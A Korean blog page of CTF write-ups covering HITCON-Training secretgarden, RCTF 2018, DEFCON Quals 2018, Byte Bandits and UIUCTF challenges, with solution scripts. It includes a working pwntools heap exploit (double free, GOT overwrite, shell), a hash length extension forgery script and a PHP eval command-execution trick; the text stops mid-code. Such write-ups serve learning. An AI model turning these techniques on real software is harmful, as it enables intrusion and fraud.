Write-up/CTF _ Write UP
- [HITCON-Training] lab12 : secretgarden 2019.07.13
- RCTF 2018 Writeup (cpushop / babyre / Misc+) 2018.05.21
- DEFCON CTF Quals 2018 Writeup 2018.05.14
- [WriteUP] Byte Bandits CTF 2018 2018.04.10
- [WriteUp] UIUCTF 2018 Writeup 2018.04.10
[HITCON-Training] lab12 : secretgarden
처음에 fastbin double free
를 이용해서 got영역을 덮으려고 했으나, chunk size로 적절한 영역을 찾지못해서...
그냥 got영역을 이용해 libc주소를 leak한 다음, malloc_hook
을 magic함수
주소로 덮었다.
그런데 알고보니... chunksize로 아래와 같은 부분을 사용할 수 있었다.
0x601ffa: 0x1e28000000000000 0xe168000000000060
0x60200a: 0x0000414141414141 0x2390000000000000
0x601ffa를 0x60 fastbin에 넣어서 사용할 수 있었다.
아니 근데 fastbin size가 아니지않나? 0xe168000000000060
인데?
그래서malloc.c
파일을 살펴보았다. 그 내용은 아래 url에...
https://xerxes-break.tistory.com/440
exploit은 아래와 같이 할 수 있다.
double free
버그로 flower데이터를 2번 할당받아서 원하는 메모리 주소를 leak할 수 있고, 그렇게 leak한 libc주소로 system함수 주소를 구해 다시 double free
버그로 free_got를 system함수로 덮어서 쉘을 획득할 수 있다.
#!/usr/bin/env python
from pwn import *
conn = process("./secretgarden")
def raiseflower(length,name,color):
conn.recvuntil(":")
conn.sendline("1")
conn.recvuntil(":")
conn.sendline(str(length))
conn.recvuntil(":")
conn.send(name)
conn.recvuntil(":")
conn.sendline(color)
def visit():
conn.recvuntil(":")
conn.sendline("2")
def remove(idx):
conn.recvuntil(":")
conn.sendline("3")
conn.recvuntil(":")
conn.sendline(str(idx))
def clean():
conn.recvuntil(":")
conn.sendline("4")
my_exploit = False#True
if(my_exploit):
conn.recvuntil("Baby Secret Garden")
raiseflower(0x20, "A"*0x20, "red")
raiseflower(0x20, "A"*0x20, "blue")
# double free
remove(0)
remove(1)
remove(0)
clean()
raiseflower(0x20, "A"*0x20, "green")
raiseflower(0x60, "A"*0x60, "leak")
# exist make 0
remove(1)
# leak puts_addr
payload = p64(1)
payload += p64(0x602020)
raiseflower(0x20, payload, "red")
visit()
conn.recvuntil("[1] :")
puts_addr = u64(conn.recv(6).ljust(8, "\x00"))
log.info("puts_addr : " + hex(puts_addr))
# double free
raiseflower(0x60, "A"*0x60, "A") #3
raiseflower(0x60, "A"*0x60, "B") #4
remove(3)
remove(4)
remove(3)
clean()
base_addr = puts_addr - 0x6f690
one_shot = base_addr + 0x45216
magic = 0x0400C7B
malloc_hook = base_addr + 0x3c4b10 - 11 - 8
"""
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
"""
log.info("base_addr : " + hex(base_addr))
log.info("malloc_hook : " + hex(malloc_hook))
log.info("one_shot : " + hex(one_shot))
log.info("magic : " + hex(magic))
raiseflower(0x60, p64(malloc_hook)+"\n", "A") #3
raiseflower(0x60, "A"*0x60, "B") #4
raiseflower(0x60, "A"*0x60, "B") #4
raiseflower(0x60, "A"*3+p64(magic), "B")
else:
conn.recvuntil("Baby Secret Garden")
raiseflower(0x20, "A"*0x20, "red")
raiseflower(0x20, "A"*0x20, "blue")
# double free
remove(0)
remove(1)
remove(0)
clean()
raiseflower(0x20, "A"*0x20, "green")
raiseflower(0x60, "A"*0x60, "leak")
# exist make 0
remove(1)
# leak puts_addr
payload = p64(1)
payload += p64(0x602020)
raiseflower(0x20, payload, "red")
visit()
conn.recvuntil("[1] :")
puts_addr = u64(conn.recv(6).ljust(8, "\x00"))
log.info("puts_addr : " + hex(puts_addr))
# double free
raiseflower(0x50, "A"*0x60, "A") #3
raiseflower(0x50, "A"*0x60, "B") #4
remove(3)
remove(4)
remove(3)
clean()
base_addr = puts_addr - 0x6f690
system_addr = base_addr + 0x45390
fake_chunk = 0x601ffa
"""
0x601ffa: 0x1e28000000000000 0xe168000000000060
0x60200a: 0x0000414141414141 0x2390000000000000
"""
log.info("base_addr : " + hex(base_addr))
log.info("system_addr : " + hex(system_addr))
log.info("fake_chunk : " + hex(fake_chunk))
raiseflower(0x50, p64(fake_chunk)+"\n", "A") #3
raiseflower(0x50, "/bin/sh\x00"+"\n", "B") #4
raiseflower(0x50, "A"*0x50, "B")
raiseflower(0x50, "A"*6+p64(0)+p64(system_addr), "B")
remove(4)
"""
conn.recvuntil("Baby Secret Garden")
magic = 0x400c7b
fake_chunk = 0x601ffa
raiseflower(0x50,"da","red")
raiseflower(0x50,"da","red")
remove(0)
remove(1)
remove(0)
raiseflower(0x50,p64(fake_chunk),"blue")
raiseflower(0x50,"da","red")
raiseflower(0x50,"da","red")
raiseflower(0x50,"a"*6 + p64(0) + p64(magic) ,"red")
"""
conn.interactive()
'Write-up > CTF _ Write UP' 카테고리의 다른 글
RCTF 2018 Writeup (cpushop / babyre / Misc+) (0) | 2018.05.21 |
---|---|
DEFCON CTF Quals 2018 Writeup (0) | 2018.05.14 |
[WriteUP] Byte Bandits CTF 2018 (0) | 2018.04.10 |
[WriteUp] UIUCTF 2018 Writeup (0) | 2018.04.10 |
RCTF 2018 Writeup (cpushop / babyre / Misc+)
Misc 4개 / Crypto 1개 / Reverse 1개 / Web 0개 / Pwn 0개
위와 같이 문제풀고 마무리. Pwn 문제를 좀 더 풀고 싶었지만 heap overflow를 아직 몰라서(공부해야한다...) 풀지 못했다.
[Misc]Sign
sign
Run it and get flag (but how?) (segfault is NOT a bug)
attachment: https://drive.google.com/open?id=1ghFVktqDYM48YiJt-ppx6a-2JHH-wIKm
간단한 문제다 IDA를 이용해 스트링을 살펴보면 FLAG를 찾을 수 있다.
RCTF{WelCOme_To_RCTF}
[Misc] git
git
My file lost!
attachment: https://drive.google.com/open?id=1Mo3uN2FV1J-lbqjQZvvXitWagZqjD1Xi
git 관련해서 파일을 하나 주는데, 로그를 보면 하나밖에 없다. flag를 검색하면 뭔가 나오지않을까해서 Notepad++로 끌어다가 검색해보니 아니다 다를까
Flag라고 커밋해둔게 있다. git checkout을 해서 다시 되돌려주면 flag.txt를 얻을 수 있다.
굿..
[Misc] cats
cats
I love cats! PS: This is NOT a web challenge. Just find the cats.
http://cats.2018.teamrois.cn:1337꽤나 재미있는 문제였다. 주어진 url로 들어가면 아래와 같은 문구를 볼 수 있다.
I love cats! Can you find 15 cats for me ._.?
I'll save the cat food as file "food" and observe whether the outcomes of "cat food" and "eachCatNameYouProvided food" are exactly the same (including return code and trailing CRLFs). Download dockerfile to find cats locally, or you may find reCAPTCHA annoying.
dockerfile을 주는데, 어떻게 cats를 찾느냐. 이 dockerfile을 통해서 가상이미지 환경설정을 하고 그 컨테이너에서 cat들을 찾으면 된다.
도커(docker)는 컨테이너 기반의 오픈소스 가상화 플랫폼이라고 하는데, 자세한 건 검색하면 좋은 자료들이 많이 나온다.
참고자료 :
https://subicura.com/2017/01/19/docker-guide-for-beginners-1.html
http://pyrasis.com/Docker/Docker-HOWTO#dockerfile
cat을 찾는 방법은 간단하다.
명령어로 cat food했을때 나오는 결과와 eachCatNameYouProvided food라고 쳤을때 나오는 결과가 같으면 된다. (둘다 CRLF(\r, \n 등등)으로 끝마쳐 리턴해준다.)
예를 들어 tarcat이란 명령어가 있는데 아래와 같이 치면 둘다 같은 결과를 반환해주는 것을 알 수 있다.
cat: food: No such file or directory
이제 환경변수 PATH에 등록되어있는 곳에서 명령파일들을 하나하나 실행시켜가며 찾든가 하면 된다.
필자는 find 명령어를 사용해서 쓸만한 바이너리파일들을 모아서 cat과 비슷한 결과가 나오는 놈들을 찾게 코드를 돌려서 찾았다.
cat과 같은 결과를 내놓는 명령어들은 대부분 아래와 같다.
tarcat, tail, head, sort, shuf, fold, expand, paste, unexpand, iconv, bash, sh, rbash, erb, dash
RCTF{you_love_cats_dont_you}
[Misc] Number Game
Number Game
Guess Guess Guess
nc 149.28.139.172 10002
넘버게임이라고 nc로 접속하게 되면, 게임에 들어가기 전에 proof of work를 해야한다.
주어진 sha256 해시값과 같은 해시값을 가지게 4자리 XXXX를 채워넣어주면 게임이 시작된다.
게임은 숫자야구게임으로 외국에서는 Bulls and Cows 라고 불리는 게임이다. 6번의 기회가 주어지고 중복없는 4자리 숫자를 순서에 맞게 맞추면 되는 게임이다. 자세한 룰은 이쪽에서 보면 좋다.(한글번역은 이쪽)
하드코딩해서 풀면 된다. Bulls and Cows solver 라고 검색해서 적당한 소스를 가져와서 문제의 조건에 맞게 수정해서 사용하였다.
소스가 길어서 따로 글을 작성해서 올렸다.
[Reverse] babyre
babyre
babyre라는 바이너리 파일과 out파일을 주는데, out으로 나온게 아마 암호화된 flag일 것이다.
babyre 파일을 분석해보면 처음에 문자열과 정수를 입력받고 "your input:try again"라는 문자열을 출력하고 다시 입력을 받는데
이때 입력한 문자들이 각각 인코딩되서 나오므로, 이를 이용해서 out을 디코딩할 수 있다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 | from pwn import * import string alpha = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890!@#$%^&*()_+{}.,/'" table = [alpha[i:i+30] for i in range(0,len(alpha),30)] print(table) p_table = {} for plain in table: conn = process("./babyre") conn.sendline("A"*32) conn.sendline(str(32)) conn.sendline(plain) conn.recvuntil("try again") for i in range(len(plain)): #print(plain[i]+" :"), P = conn.recvline().strip().upper() p_table[P]=plain[i] conn.close() f = open("out", 'r') lines = f.readlines() f.close() flag = "" for c in lines: if c[:8] in p_table: flag += p_table[c[:8]] else: flag += "?" if c[8:16] in p_table: flag += p_table[c[8:16]] else: flag += "?" print(flag) | cs |
[Crypto]cpushop
cpushop
attachment: https://drive.google.com/open?id=11lK6aKJZEq6QhrD6L7SSew4KhvXz_cz0
nc cpushop.2018.teamrois.cn 43000
nc를 통해 들어가면 돈과 무엇을 할 수 있는 지 나온다.
문제소스는 여기
과연 cpushop이라 할만하다. List Items를 해보면 CPU들과 가격이 나온다.
그리고 9번째 항목을 보면 Flag도 팔 고 있는 것을 볼 수 있다. 물론 돈이 없어서 Flag를 살 수는 없다...
물건을 사려면 먼저 Order을 통해서 Items ID에 해당하는 구입증(?)을 발급받아야한다.
만약 0번 제품인 Intel Core i9-7900을 산다고 하면 아래와 같은 코드에 의해서 출력된 것을 Pay에 입력하면 물건을 살 수 있다.
1 2 3 4 | payment = 'product=%s&price=%d×tamp=%d' % (items[n][0], items[n][1], time.time()*1000000) sign = sha256(signkey+payment).hexdigest() payment += '&sign=%s' % sign print 'Your order:\n%s\n' % payment | cs |
payment에 제품에 대한 정보가 들어가 있고, 그 제품정보들 앞에 signkey를 붙여 sha256으로 서명한 값이 payment뒤에 붙어 고객에게 전달되고,
그 값을 고객이 제출하면 샵에서는 payment에서 sign값을 파싱해 그 값을 가지고 payment에 대한 무결성을 검증할 수 있고 고객은 상품을 구입할 수 있다.
만약 상품정보에서 price값을 낮게 설정하고 그 값에 대한 sha256 sign값이 있다면 Order을 통해서 상품구입이 가능하고 우리는 Flag를 구입할 수 있을 것이다. 참고로 Shop측에서 제품정보를 파싱하는 부분에서 취약점이 있는데 아래와 같다.
1 2 3 4 5 6 7 8 9 | for k,v in parse_qsl(payment): if k == 'product': product = v elif k == 'price': try: price = int(v) except ValueError: print 'Invalid Order!' return | cs |
어디가 취약한지 알겠는가? 만약 payment과 다음과 같다면 어떻게 될 것 같은가..?
payment = "product=Flag&price=999×tamp=15235&price=1"
기존의 payment 뒤에 price=1이라는 값을 붙여쓴것이다.
만약 위와 같은 payment가 있다면 price값을 파싱할때, 처음 만난 price=999에서 price=999로 설정하고 계속 for문을 돌다가 마지막에 price를 또 만나 최종적으로 price=1로 설정되고 종료될 것이다.
그러므로 여기서 할 공격은 Hash Length Extension Attack이다!
github에 hash_extender라는 툴이 있으므로 이것을 이용해서 공격할 것이다.
(대회가 끝나고 몇달이 지난후, 우연히 다른 사람의 writeup을 보게 되었다. python 라이브러리중 hashpumpy라는 꿀툴이 있더라... ㄷㄷ;; 이걸 이용하면 좀 더 소스가 깔금해진다. )
참고로 우리는 signkey는 모르므로 signkey의 길이는 브루트포싱으로 맞춰줘야한다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 | #!/usr/bin/env python from pwn import * import string from subprocess import Popen, PIPE #context.log_level = 'debug' #conn = remote('cpushop.2018.teamrois.cn', 43000) conn = process(['python', 'cpushop/cpushop.py']) def OrderItemFlag(id=9): conn.sendline("2") conn.recvuntil("Product ID:") conn.sendline(str(id)) conn.recvline() payment=conn.recvline().strip() return payment def SHA256_Extender(paym, sign, keylen): fake_price = "&price=1" keylen = str(keylen) command = './hash_extender --data "'+ paym +'" --secret '+keylen+' --append "'+ fake_price +'" --signature '+sign+' --format sha256' popen = Popen(command, shell=True, stdout=PIPE) output, error = popen.communicate() New_signature, expanded_payment = output.split("New string: ") New_signature = "&sign="+(New_signature.split("New signature: "))[1].strip() expanded_payment = expanded_payment.strip().decode("hex") expanded_payment += New_signature return expanded_payment def PayItem(payment): conn.sendline("3") conn.recvuntil("Your order:") conn.sendline(payment) conn.recvline() result=conn.recvline() return result print(conn.recvuntil('Command:')) payment = OrderItemFlag() paym, sign = payment.split("&sign=") for keylen in range(8,32): print("keylen : " + str(keylen)) conn.recvuntil('Command:') payment = SHA256_Extender(paym,sign,keylen) result = PayItem(payment) if "Invalid Order!" not in result: print(result) conn.interactive() #conn.shutdown() # Ctrl+D conn.interactive() """ https://github.com/iagox86/hash_extender ./hash_extender --data "product=Intel Core i9-7900X&price=999×tamp=1526710428630790" --secret 20 --append append --signature a3f3282990039a1cb6816c172b9e5d44308213c25d0c76d3d5dddfb627b2a0f8 --format sha256 """ | cs |
'Write-up > CTF _ Write UP' 카테고리의 다른 글
[HITCON-Training] lab12 : secretgarden (0) | 2019.07.13 |
---|---|
DEFCON CTF Quals 2018 Writeup (0) | 2018.05.14 |
[WriteUP] Byte Bandits CTF 2018 (0) | 2018.04.10 |
[WriteUp] UIUCTF 2018 Writeup (0) | 2018.04.10 |
DEFCON CTF Quals 2018 Writeup
ELF Crumble (102pt)(Ordered by 368 teams) |
8개의 fragment가 주어지고 이 순서만 제대로 맞추면 elf파일이 정상적으로 작동할 것이므로 경우의 수는 8!=40320이다.
브루트포싱으로 공격하여 프로그램이 정상적으로 작동할 때까지 끼워맞추기를 하면 다음 순서로 이어맞출때 아래와 같이 출력된다.
'fragment_8.dat',
'fragment_7.dat',
'fragment_1.dat',
'fragment_5.dat',
'fragment_6.dat',
'fragment_2.dat',
'fragment_3.dat',
'fragment_4.dat'
FLAG는 welc000me
You Already Know (101pt)(Ordered by 487 teams) |
크롬 개발자도구(F12)를 키고 이 문제를 열어보면 network에서 message부분에서 누락된 Flag를 확인 할 수 있다.
OOO{Sometimes, the answer is just staring you...}
짤려버렸고, 문제서버가 닫혀서 다시 확인해볼 수 없지만 아래와 같이 찾을 수 있다.
Easy Pisy (104 pt)(Ordered by 190 teams) |
해당 Web에서는 openssl_sign을 이용해서 pdf의 서명 및 인증을 하고 있다. openssl_sign의 디폴트 알고리즘은 SHA-1으로 이는 취약함이 2017년 2월에 구글에 의해서 완전히 입증되었다. ( 충돌쌍을 누구나 만들 수 있게 소스 또한 공개되어있다.)
참고 사이트 : https://cpuu.postype.com/post/580053
서비스 사이트 : https://shattered.io/
그러므로 동일한 해시값을 가진 서로 다른 pdf를 생성할 수 있다.
echo flag라는 문자열을 포함하고 있는 pdf와 cat flag라는 문자열을 포함하고 있는 pdf를 동일한 해시값을 가지게 생성하고,
echo flag를 서명받아 그 값을 가지고 cat flag를 실행시킬 수 있다.
pdf_sha1collider github : https://github.com/nneonneo/sha1collider
Say Hi! (104 pt)(Ordered by 209 teams) |
5월 13일은 외국에서 어머니의 날이다. 어머니에게 전화나 메세지를 남기라는 문제로 유형도 human interaction이다.
어버이날에 한번 인사드렸지만 한번 더 감사해하며 Flag를 인증해주자.
|
PHP Eval White-List (104 pt)(Ordered by 192 teams) |
문제 페이지에 들어가면 eval을 이용하여 코드를 실행시킬 수 있다.
flag binanry 파일을 실행시키면 되는데, flag파일은 현재 폴더에서 한단계 상위에 있으므로 ../flag를 실행시키면 되겠다.
eval을 이용해서 printf(1+1);을 실행시키는 것을 볼 수 있는데, system()함수 또한 실행되기 때문에 이를 이용해서 system("../flag");를 실행시키면 된다.
ghettohackers: Throwback (121 pt)(Ordered by 55 teams) |
주어진 text 파일의 문자열을 "!"를 기준으로 알파벳 갯수를 세서, 이것을 문자로 치환하면 된다. (ex : m!yria! / 1개 -> a, 4개 -> d )
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | #!/usr/bin/env python3 f = open("text", "r") crypto = f.readline() f.close() print("Crypto : %s" % crypto, end="") print("Plain : ",end="") cnt = 0 for p in crypto: if(p=='!'): print("%c" % chr(ord('a')+cnt-1), end="") cnt=0 else: cnt=cnt+1 print("") | cs |
flag는 dark`logic
대회가 끝나기 전에 알아차려서 flag 인증 할 수 있었으면 좋았겠지만, 안타깝게도 끝나고나서야 알아차렸다...
'Write-up > CTF _ Write UP' 카테고리의 다른 글
[HITCON-Training] lab12 : secretgarden (0) | 2019.07.13 |
---|---|
RCTF 2018 Writeup (cpushop / babyre / Misc+) (0) | 2018.05.21 |
[WriteUP] Byte Bandits CTF 2018 (0) | 2018.04.10 |
[WriteUp] UIUCTF 2018 Writeup (0) | 2018.04.10 |
[WriteUP] Byte Bandits CTF 2018
UIUCTF보다 늦게 시작된 CTF이다.
문제는 UIUCTF보다 풍부해보인다... 어째
[Misc]Greetings 1p
1점짜리다....
안녕하세요! <3 란다...
룰을 읽어보면 freenode irc로 접속하는게 있다. 접속해보자.
최근에 irc 문제를 풀어서 그런가;; 데자뷰가...
[Crypto]R u Ronald Rivest? 70p
http://xerxes-break.tistory.com/316
[Forensics]Eating_that_ponegr 100p
어우야.... 뭔가 힌트가 될만한 문구를 나열해주는데; 봐도 잘... 아니 잠깐만 방금 깨달았네 ㄷㄷ;
PONEGR-du! GRINFO-du! 를 2글자씩 뛰어가며 읽어보자.
PNG OER GIF RNO를 말하는것 같다.
OER RNO는 모르겟지만 PNG GIF는 이미지 확장자다.
아래가 주어진 grinfo.png라는 확장자다.
그냥 평범한 그림파일이다... gif로 바꿔도 뭐 별거 없어보인다.
딱히 에러가 있지는 않다.
dma..음... 모르겠다
------- 2018. 04.13 추가 ---------
writeup이 올라왔다.
- https://ctftime.org/writeup/9666
내용이 매우 간단하다.
zsteg grinfo.png -E b1,b,lsb,xy > step1.gif
convert -verbose -coalesce step1.gif step2.png
montage step2-* -tile x1 -geometry '1x1+0+0<' final.png
By https://twitter.com/diofeher and https://twitter.com/K4L1_FS
이걸로 설명을 다하다니... 한번 차례로 해보겠다.
zsteg툴은 png & bmp 파일에서 숨겨진 데이터가 있는지 감지해주는 툴이다.
(https://github.com/zed-0xff/zsteg)
Description
detect stegano-hidden data in PNG & BMP
Detects:
- LSB steganography in PNG & BMP
- zlib-compressed data
- OpenStego
- Camouflage 1.2.1
- LSB with The Eratosthenes set
꽤나 유용한 툴 같다. 먼저 zsteg grinfo.png 를 실행하면 아래와 같이 나온다.
GIF가 있는 것을 b1,b,lsb, xy 항목을 보면 알 수 있다. 이제 저 GIF를 추출하자.
-E옵션을 이용해서 추출해줄수 있다.
.zsteg grinfo.png -E b1,b,lsb,xy > step1.gif 를 실행
gif가 추출되었고, 이제 convert를 통해 -verbose -coalesce 옵션을 주어 실행하면 gif파일이 png파일 450개정도로 나뉘어서 나온다.
이제 이 png들을 다 모아서 합쳐주면 된다.
montage step2-* -tile x1 -geometry '1x1+0+0<' final.png
이렇게 플래그가 나오는 것을 알 수있다.
나중에 시간나면 좀 더 분석해보겠다.
[Crypto]almost almost xor 150p
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | #!/usr/bin/python3 import sys import os def encrypt(message, key): message = list(message) key = list(key) for i, kb in enumerate(key): step = (kb % len(key)) + 1 for j in range(i, len(message), step): message[j] ^= kb return bytes(message) with open(sys.argv[2], "wb") as f: f.write(encrypt(open(sys.argv[1], 'rb').read(), os.urandom(16))) | cs |
끝나버림 ㅠ;
'Write-up > CTF _ Write UP' 카테고리의 다른 글
[HITCON-Training] lab12 : secretgarden (0) | 2019.07.13 |
---|---|
RCTF 2018 Writeup (cpushop / babyre / Misc+) (0) | 2018.05.21 |
DEFCON CTF Quals 2018 Writeup (0) | 2018.05.14 |
[WriteUp] UIUCTF 2018 Writeup (0) | 2018.04.10 |
[WriteUp] UIUCTF 2018 Writeup
오랜만에 CFT나 해야겠다.
ROT180 ● oʇdʎɹƆ ● 1 Points ● Solved
위의 Crypto를 180도 돌려놓은 문자표시가 보이는가....
어떻게 이런걸 찾앗는지 ㄷㄷ;
영어는 알아서 해석하자 !
중요한건 중간에 보이는 저 {uoɔǝɹ‾ʇou‾sʇᴉ‾ʇsɐǝl‾ʇɐ}ƃɐlɟ 이다 처음에는 진짜.. 외계어인줄 알았다 ;; 어느 나라에서 쓰는 언어인가 싶었는데;
180도 돌려보니 플래그가 보였다.
돌려보자!
굿!
irc ● other ● 1 Points
https://ko.wikipedia.org/wiki/%EC%9C%84%ED%82%A4%EB%B0%B1%EA%B3%BC:IRC_%EB%8C%80%ED%99%94%EB%B0%A9
키위IRC 를 이용했음
1점... 그럼에도 꽤 헷갈림 ㅠ
위와같이 irc로 접속하면 클리어됨
Hastad ● Crypto ● 200 Points
sorry wrong chat라고 하고..
ciphertexts.txt 와 moduli.txt가 주어진다.
일단 한번 보자.
이게 ciphertexts.txt이고 아래가 moduli.txt이다.
RSA암호화로 ciphertexts.txt를 보낸것이라 생각한다. 여기서 e=3이라고 하는데...
e값이 매우 작고 평문이 길이가 짧을 경우, n(=p*q)값이 매우 크기때문에.. 암호화된 평문 C=P^e(% n) 에서 n이 너무커서 C가 모듈러 연산에 몇번 걸리지 않는 경우가 있다. 이 경우 C값을 그냥 e 거듭제곱근을 구해서 평문을 복호화해 낼 수가 있다고 한다. 그래서 일단 e제곱근한 값이 나오나 보기로 했다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | c_list = [0x10652cdfaa86ddbee1409ac7ac327a0c848081ee6e3b110867085f1074755785b0a5a6a2343b791695c3e91fdb370d5b26be3b6d2fc449c7788bbb1ab67ddc361b4115010618e39c883449b757fc1624369b440236ee65, 0x10652cdfaa8c9ef24fc044b5fed749888632ad132bd412f22d9d905e6ffd27b288c22884b24fe130d83aaab9c2dc6e942418dff89d2b66a66e40900db9456813d70eb63d0c38697f89ff387969d3d40163376416270965, 0x10652cdfaa8ab16290cf92bacf31b23d6a0ea95c2ebd6eb8afe4f038d852a7f17e98f965f299b4d00126611d403c5208a145157ed1d71079fc558eaa888e993360fac35c7a816ad183190867b1b7580a2677cd6871aa65, 0x10652cdfaa86ddbee1409ac7ac327a0c848081ee6e3b110867085f1074755785b0a5a6a2343b791695c3e91fdb370d5b26be3b6d2fc449c7788bbb1ab67ddc361b4115010618e39c883449b757fc1624369b440236ee65, 0x10652cdfaa875a9ac01e472ea5896c1d460410508b9a7c723b5ba904fb5b64d68a1e96254ba04b08c92d51f1fe6c3d6bb426e1ee8c61c8a6ff1eeab9e07f51d8057f2f0c54b27c7006539f7148484ff26a02e4cb1d3165, 0x10652cdfaa8c9ef24fc044b5fed749888632ad132bd412f22d9d905e6ffd27b288c22884b24fe130d83aaab9c2dc6e942418dff89d2b66a66e40900db9456813d70eb63d0c38697f89ff387969d3d40163376416270965, 0x10652cdfaa875a9ac01e472ea5896c1d460410508b9a7c723b5ba904fb5b64d68a1e96254ba04b08c92d51f1fe6c3d6bb426e1ee8c61c8a6ff1eeab9e07f51d8057f2f0c54b27c7006539f7148484ff26a02e4cb1d3165, 0x10652cdfaa8210601d22f4a15aa380233420f9ee9a276d3ac8e05cfc4f6f515f78331e8e74484e8533221e88f78671dd08622e78233e458978a35036680d1c5caaba2fa3bce3b914ad48501a276d6a88adc16db282e065, 0x10652cdfaa8ab16290cf92bacf31b23d6a0ea95c2ebd6eb8afe4f038d852a7f17e98f965f299b4d00126611d403c5208a145157ed1d71079fc558eaa888e993360fac35c7a816ad183190867b1b7580a2677cd6871aa65, 0x10652cdfaa8c2701b8bb7c11fc3218cc2d97cd4707f6de55637bc093f474d231b4d4fe8635261b8e4f772d0e51a25f8e713777a137be6f04e0d28ddd6ec0b852aaf357d33e08aed23e034fcd1ced38542fbeb5aa0eee65, 0x10652cdfaa8210601d22f4a15aa380233420f9ee9a276d3ac8e05cfc4f6f515f78331e8e74484e8533221e88f78671dd08622e78233e458978a35036680d1c5caaba2fa3bce3b914ad48501a276d6a88adc16db282e065, 0x10652cdfaa8c9ef24fc044b5fed749888632ad132bd412f22d9d905e6ffd27b288c22884b24fe130d83aaab9c2dc6e942418dff89d2b66a66e40900db9456813d70eb63d0c38697f89ff387969d3d40163376416270965, 0x10652cdfaa8ab162128a955a58d3b780f2656800796eb70c345c56d7b8523d614ef4ca920471f56493c83ca48500033a0c0b31988ca6e66a76e0ed559b38616688941558b127260cdf70261822929efa0aa6b6d79d1665, 0x10652cdfaa8ab162128a955a58d3b780f2656800796eb70c345c56d7b8523d614ef4ca920471f56493c83ca48500033a0c0b31988ca6e66a76e0ed559b38616688941558b127260cdf70261822929efa0aa6b6d79d1665, 0x10652cdfaa8c2701b8bb7c11fc3218cc2d97cd4707f6de55637bc093f474d231b4d4fe8635261b8e4f772d0e51a25f8e713777a137be6f04e0d28ddd6ec0b852aaf357d33e08aed23e034fcd1ced38542fbeb5aa0eee65] e = 3.00 for idx, c in enumerate(c_list): c_list[idx]=c**(1.00/e) print("%x " % c_list[idx]) for c in c_list: #c = c**(1.00/e) c=format(int(c), 'x') print("%s " % (c.decode("hex"))) | cs |
이런 파이썬 코드를 짜서... 출력해보았다.
코드는 해당 ciphertexts.txt의 값들을 각각 세제곱근한 값을 hex값으로 두고, 이를 decode해 평문으로 출력하는 것이다.
위와 같이 출력되었고... 666c61677b757000000000000000000000000000000000000000000000 와 flag{up 를 볼때...
모듈러연산에 걸려 평문값이 짤려 손실된것으로 보인다.
....
아닛.... 엄청난걸 찾았다. 위키백과 굿
https://en.wikipedia.org/wiki/Coppersmith%27s_attack#RSA_basics
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | import gmpy c_list = [0x10652cdfaa86ddbee1409ac7ac327a0c848081ee6e3b110867085f1074755785b0a5a6a2343b791695c3e91fdb370d5b26be3b6d2fc449c7788bbb1ab67ddc361b4115010618e39c883449b757fc1624369b440236ee65, 0x10652cdfaa8c9ef24fc044b5fed749888632ad132bd412f22d9d905e6ffd27b288c22884b24fe130d83aaab9c2dc6e942418dff89d2b66a66e40900db9456813d70eb63d0c38697f89ff387969d3d40163376416270965, 0x10652cdfaa8ab16290cf92bacf31b23d6a0ea95c2ebd6eb8afe4f038d852a7f17e98f965f299b4d00126611d403c5208a145157ed1d71079fc558eaa888e993360fac35c7a816ad183190867b1b7580a2677cd6871aa65, 0x10652cdfaa86ddbee1409ac7ac327a0c848081ee6e3b110867085f1074755785b0a5a6a2343b791695c3e91fdb370d5b26be3b6d2fc449c7788bbb1ab67ddc361b4115010618e39c883449b757fc1624369b440236ee65, 0x10652cdfaa875a9ac01e472ea5896c1d460410508b9a7c723b5ba904fb5b64d68a1e96254ba04b08c92d51f1fe6c3d6bb426e1ee8c61c8a6ff1eeab9e07f51d8057f2f0c54b27c7006539f7148484ff26a02e4cb1d3165, 0x10652cdfaa8c9ef24fc044b5fed749888632ad132bd412f22d9d905e6ffd27b288c22884b24fe130d83aaab9c2dc6e942418dff89d2b66a66e40900db9456813d70eb63d0c38697f89ff387969d3d40163376416270965, 0x10652cdfaa875a9ac01e472ea5896c1d460410508b9a7c723b5ba904fb5b64d68a1e96254ba04b08c92d51f1fe6c3d6bb426e1ee8c61c8a6ff1eeab9e07f51d8057f2f0c54b27c7006539f7148484ff26a02e4cb1d3165, 0x10652cdfaa8210601d22f4a15aa380233420f9ee9a276d3ac8e05cfc4f6f515f78331e8e74484e8533221e88f78671dd08622e78233e458978a35036680d1c5caaba2fa3bce3b914ad48501a276d6a88adc16db282e065, 0x10652cdfaa8ab16290cf92bacf31b23d6a0ea95c2ebd6eb8afe4f038d852a7f17e98f965f299b4d00126611d403c5208a145157ed1d71079fc558eaa888e993360fac35c7a816ad183190867b1b7580a2677cd6871aa65, 0x10652cdfaa8c2701b8bb7c11fc3218cc2d97cd4707f6de55637bc093f474d231b4d4fe8635261b8e4f772d0e51a25f8e713777a137be6f04e0d28ddd6ec0b852aaf357d33e08aed23e034fcd1ced38542fbeb5aa0eee65, 0x10652cdfaa8210601d22f4a15aa380233420f9ee9a276d3ac8e05cfc4f6f515f78331e8e74484e8533221e88f78671dd08622e78233e458978a35036680d1c5caaba2fa3bce3b914ad48501a276d6a88adc16db282e065, 0x10652cdfaa8c9ef24fc044b5fed749888632ad132bd412f22d9d905e6ffd27b288c22884b24fe130d83aaab9c2dc6e942418dff89d2b66a66e40900db9456813d70eb63d0c38697f89ff387969d3d40163376416270965, 